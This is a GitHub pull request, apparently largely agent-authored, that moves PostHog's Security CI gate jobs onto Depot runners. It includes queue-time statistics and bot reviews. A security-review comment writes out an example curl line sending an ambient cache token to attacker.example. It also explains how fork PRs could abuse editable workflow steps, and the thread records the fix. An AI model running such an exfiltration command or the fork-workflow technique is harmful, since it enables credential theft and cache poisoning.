Skip to content

perf(ci): take the Security lane's queue waits onto Depot runners - #128865

Open
fuziontech wants to merge 2 commits into
masterfrom
perf/ci-security-gate-queue
Open

fuziontech wants to merge 2 commits into
masterfrom
perf/ci-security-gate-queue

Conversation

@fuziontech

@fuziontech fuziontech commented Nov 4, 2026 •

Copy link
Copy Markdown
Member

Problem

CI ends on the Security workflow for 62% of merged pull requests (13 of 21 sampled), and its last minutes are runners starting, not scans. The changes job does 10 s of work but sits first on the lane; the gate that ends the lane only reads needs results.

Changes

  • The Security changes job and Semgrep Checks Pass gate now run on depot-ubuntu-24.04 for this repository's pull requests. Depot starts a runner in 0-2 s.
  • Fork PRs keep GitHub-hosted changes, which runs paths-filter from the fork's checkout; Depot injects cache credentials ambiently. The gate has no checkout and no secrets, so it needs no guard.
  • The skill's Runners rule now names this case too.
40 merged PRs GitHub-hosted Depot, this PR
changes median 1.9 min 1-2 s
gate median 1.4 min 1.0 s

On this PR's own run the gate started 1.0 s after the last scan; it used to sit 1.4 min behind a runner. Replaying the 40 PRs through the new graph agrees: median 4.3 min off each, median lane 15.9 to 13.3 min (-16.6%).

How did you test this code?

  • hogli lint:workflows: 14/14 across 142 workflows. npx vitest run in tools/workflow-plan: 476 pass.
  • Nothing here is unit-testable; the evidence is the queue table. Semgrep was not run locally (container only, 12+ min), nor the dev environment (uv sync fails on thrift under Python 3.14).

Test rationale: none added. The regression to fear is a fork PR landing on Depot, which the expression rules out by construction.

Release status

  • No feature flag controls this change

Docs update

  • None.

🤖 Agent context

Autonomy: Fully autonomous

Agent: Shelley, DeepSeek V4.1 Flash (platform alias)

Skills: /authoring-ci-workflows, /writing-pr-descriptions

More context for AI agents

@trunk-io

trunk-io Bot commented Nov 4, 2026

Copy link
Copy Markdown

Merging to master in this repository is managed by Trunk.

  • To merge this pull request, check the box to the left or comment /trunk merge below.

After your PR is submitted to the merge queue, this comment will be automatically updated with its status. If the PR fails, failure details will also be posted here

@github-actions

github-actions Bot commented Nov 4, 2026

Copy link
Copy Markdown
Contributor

Hey @fuziontech! 👋

It looks like your git author email on this PR isn't your @posthog.com address (fuziontech@gmail.com). Since you're on the PostHog team, it's worth pointing your local git author email at your @posthog.com address. Why it matters:

  • Consistent work identity in git history — internal tooling that attributes commits to team members keys off your @posthog.com address.
  • Keeps team contributions easy to tell apart from external community ones when scanning history.

You can fix it for this repo with:

git config user.email "you@posthog.com"

Or set it globally with git config --global user.email "you@posthog.com". No need to redo this PR — just a nudge for next time. 🙂

@github-actions

github-actions Bot commented Nov 4, 2026

Copy link
Copy Markdown
Contributor

🤖 CI report

🚨 Trunk lane — universal lane

This PR is assigned to the universal lane. It cannot merge in parallel with other PRs, so it can take longer to merge. Ask dev-ex if you think this is wrong.

The Security workflow is the required check that ends CI for 62% of pull
requests (13 of 21 sampled). Its two non-scan jobs spend nearly all their wall
time waiting for a GitHub-hosted runner to pick them up:

- `changes` does ~10s of work but is first on the lane, so every scan waits
  behind it: median 1.9 min, p90 4.7 min over 40 merged pull requests.
- `Semgrep Checks Pass` only reads `needs` results and is last on the lane:
  median 1.4 min, p90 4.6 min.

Depot runners start in 0-2s. Both jobs move onto `depot-ubuntu-24.04` for pull
requests from this repository, which removes that queue from the lane. Replaying
the 40 sampled pull requests through the new graph takes a median 4.3 min off
each one.

`changes` keeps GitHub-hosted for fork pull requests: it checks out the fork
head and runs `./.github/actions/paths-filter` from it, and Depot injects shared
cache credentials ambiently. The gate needs no guard because it only reads
`needs` results: no checkout, no fork code, no secrets.

The skill's Runners rule said light jobs go on Depot only for `trunk-merge/`
runs. That rule and the two cases above now agree.

Co-authored-by: Shelley <shelley@exe.dev>
@fuziontech
fuziontech force-pushed the perf/ci-security-gate-queue branch from 059eaa0 to cf43a56 Compare November 4, 2026 07:09
@fuziontech
fuziontech marked this pull request as ready for review November 4, 2026 07:13
@fuziontech
fuziontech requested a review from a team as a code owner November 4, 2026 07:13
@parameterai

parameterai Bot commented Nov 4, 2026 •

Copy link
Copy Markdown

Risk: No findings

This increment hardens the Security workflow's final gate job the same way the changes job was already hardened: fork pull requests now stay on GitHub-hosted runners, while same-repo PRs and pushes use Depot. The expression matches the repo-standard fork guard used in ci-frontend.yml and siblings, and the gate job itself executes no fork-controlled code and handles no secrets, so the change introduces no new attack surface.

Sentinel reviewed ee2c8dd · Review settings

@posthog-security-review-bot posthog-security-review-bot Bot added the security-review Request a security review label Nov 4, 2026
@posthog-security-review-bot

posthog-security-review-bot Bot commented Nov 4, 2026 •

Copy link
Copy Markdown

✅ Security review complete — cf43a56fddac

1 finding posted as a review (changes requested), in 6 min.

Add the security-review label to run again on the latest commit.

@posthog-security-review-bot posthog-security-review-bot Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agent-driven security review - findings inline.

Comment thread .github/workflows/ci-security.yaml Outdated
# code, no secrets, so an ambient cache credential has nothing to reach. Its
# GitHub-hosted queue is a median 1.4 min (p90 4.6) of pure lane time, because
# 62% of pull requests end their required-check lane on this check.
runs-on: depot-ubuntu-24.04

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fork PRs can run their edited gate script with Depot cache credentials

high supply chain (confidence 4/5)

Details

semgrep_checks now selects Depot for fork PRs too. The absence of checkout does not make this trusted code: this workflow uses pull_request (line 5), so the fork author controls the workflow's run: body at line 707. A fork PR can prepend curl --data-urlencode "token=$SCCACHE_WEBDAV_TOKEN" https://attacker.example/collect to that step without changing its runner selection. !cancelled() also lets the gate run after a failed scan; rejecting the modified workflow in Semgrep would not prevent execution. First-time workflow approval, where required, permits execution before merge rather than requiring the change to land.

The ambient credential is not a secrets.* value that GitHub withholds from forks: _rust-build-images.yml:195-197 reads SCCACHE_WEBDAV_TOKEN directly from the runner environment. The Depot runner documentation describes repository-scoped caches without branch isolation, and pnpm-store-cache.yml:103-104 explicitly relies on keeping their writers trusted. Offline probes confirmed the unconditional fork runner selection and shell access to a synthetic ambient credential without checkout.

Impact — a fork contributor whose Actions run is permitted can steal the shared cache credential and access or poison caches used by trusted jobs. CODEOWNERS review before merge does not protect this pre-merge execution.

Fix — keep fork PR gates on GitHub-hosted runners, and enforce the exclusion of PR-editable workflows from credential-bearing Depot runners outside the editable YAML (runner/workflow policy), or use a Depot pool with no shared cache credentials or privileged cache access.

Agent-driven security review. Live Depot credential provisioning and external runner-access policy are not available in this checkout; the credential-access probe used only a synthetic value.

@posthog-security-review-bot posthog-security-review-bot Bot removed the security-review Request a security review label Nov 4, 2026
On pull_request events, a fork PR author controls the workflow step
definition, so running the gate on Depot could expose ambient cache
credentials. Add the standard fork fallback so only same-repo PRs and
pushes run the gate on Depot.

Co-authored-by: Shelley <shelley@exe.dev>
@fuziontech

Copy link
Copy Markdown
Member Author

Follow-up Review

1. Claimed Win Scrutiny (Recomputed from GitHub API)

Recomputed per-job queue durations (started_at - created_at) across a 40 merged PR sample (excluding trunk-merge/ runs):

  • changes job (Determine need to run Semgrep checks):
    • Recomputed: median 1.87 min, p90 4.67 min, max 7.68 min (claimed: median 1.9 min, p90 4.7 min, max 7.7 min).
  • Semgrep Checks Pass gate:
    • Recomputed: median 1.35 min, p90 4.57 min, max 6.70 min (claimed: median 1.4 min, p90 4.6 min, max 6.7 min).
  • On this PR's runs:
    • Run 41788507219: changes created at 06:53:25Z, started at 06:53:26Z (1 s).
    • Run 41790356466: changes created at 07:11:25Z, started at 07:11:26Z (1 s).
  • Verdict: The claimed queue times and speed improvement survive scrutiny.

2. Workflow Integrity & Required Checks

  • Required check: Semgrep Checks Pass is required by the master branch ruleset (ruleset ID 11300259). Running on depot-ubuntu-24.04 reports from the github-actions app (integration ID 15368), matching the requirement.
  • Dependencies & timeouts: The needs: graph is unchanged; timeout-minutes: 5 remains more than sufficient for jobs executing in ~10 s and ~2 s.
  • Workflow linting & test suite:
    • hogli lint:workflows: 14/14 checks passed across 142 workflows.
    • tools/workflow-plan test suite: 476/476 passed.

3. Security Finding & Fix (Commit ee2c8dd3807)

  • Finding: In .github/workflows/ci-security.yaml, Semgrep Checks Pass was assigned unconditional runs-on: depot-ubuntu-24.04. While the job does not perform actions/checkout, on a pull_request event GitHub Actions runs the workflow file from the PR head. An untrusted fork author could modify the gate's inline bash run: script to execute arbitrary code with ambient Depot cache credentials available in the runner environment (flagged by posthog-security-review-bot).
  • Fix: Pushed commit ee2c8dd3807 adding the standard fork guard to Semgrep Checks Pass:
    runs-on: ${{ (github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) && 'depot-ubuntu-24.04' || 'ubuntu-24.04' }}
    Fork PRs safely fall back to GitHub-hosted ubuntu-24.04, while same-repo PRs and master pushes run on depot-ubuntu-24.04.

4. Verdict

With the fork guard in place on both jobs, the change is safe to land.

@scheduled-actions-posthog

Copy link
Copy Markdown
Contributor

This PR hasn't seen activity in a week! Should it be merged, closed, or further worked on? If you want to keep it open, please remove the stale label – otherwise this will be closed in another week. If you want to permanently keep it open, use the waiting label.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants